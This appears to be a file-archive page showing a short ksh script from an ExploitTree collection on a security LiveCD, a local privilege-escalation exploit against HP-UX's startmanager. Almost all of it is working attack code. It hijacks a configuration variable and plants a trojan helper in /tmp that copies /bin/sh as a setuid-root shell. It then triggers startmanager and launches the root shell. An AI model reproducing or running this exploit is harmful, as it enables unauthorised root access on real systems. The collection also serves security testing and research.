home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / startmanager.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  545b  |  23 lines

  1. #!/bin/ksh
  2.  
  3. if [[ -a /tmp/shell ]]
  4. then
  5.   rm -f /tmp/shell
  6. fi
  7. HP=$HP_AIN_CONFIG_FILE
  8. echo "bins   = /tmp\n" > /tmp/config
  9. mkdir /tmp/SS7
  10. mkdir /tmp/SS7/bin
  11. echo "cp /bin/sh /tmp/shell ; chmod 4755 /tmp/shell ;
  12. /opt/HP-AIN/SS7/bin/whichPathFor $*" > /tmp/SS7/bin/whichPathFor
  13. chmod +x /tmp/SS7/bin/whichPathFor
  14. export HP_AIN_CONFIG_FILE=/tmp/config
  15. ST=$$
  16. startmanager > /dev/null &
  17. sleep 2
  18. kill `expr $ST + 5`
  19. export HP_AIN_CONFIG_FILE=$HP
  20. rm -rf /tmp/SS7
  21. rm -f /tmp/config
  22. echo "A root shell from the Alps ...\n"
  23. /tmp/shell